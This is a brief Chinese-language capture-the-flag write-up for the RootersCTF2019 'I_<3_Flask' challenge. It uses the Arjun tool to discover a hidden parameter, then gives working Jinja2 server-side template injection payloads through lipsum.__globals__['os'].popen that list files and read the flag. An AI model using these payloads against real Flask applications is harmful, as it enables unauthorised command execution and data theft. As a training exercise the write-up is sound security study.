[RootersCTF2019]I_<3_Flask
一道比较简单的ssti题目,难点在于寻找注入的参数
发现了flask框架,寻找一下flask路由,f12没有发现什么东西,这里需要用到一个工具是Arjun,可以爆破我们所需要的参数:
下载:GitHub - s0md3v/Arjun: HTTP parameter discovery suite.
pip3 install arjun
python3 setup.py install
输入arjun -h查看版本,出现如下页面则安装成功:
arjun -u http://xxxxxxx.node4.buuoj.cn:81/ -c 100 -d 5
接下来直接利用flask的一个方法:lipsum
可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
然后构建payload:/?name={{lipsum.__globals__['os'].popen('ls').read()}}
发现了flag.txt,直接用cat命令:
payload:/?name={{lipsum.__globals__['os'].popen('cat flag.txt').read()}}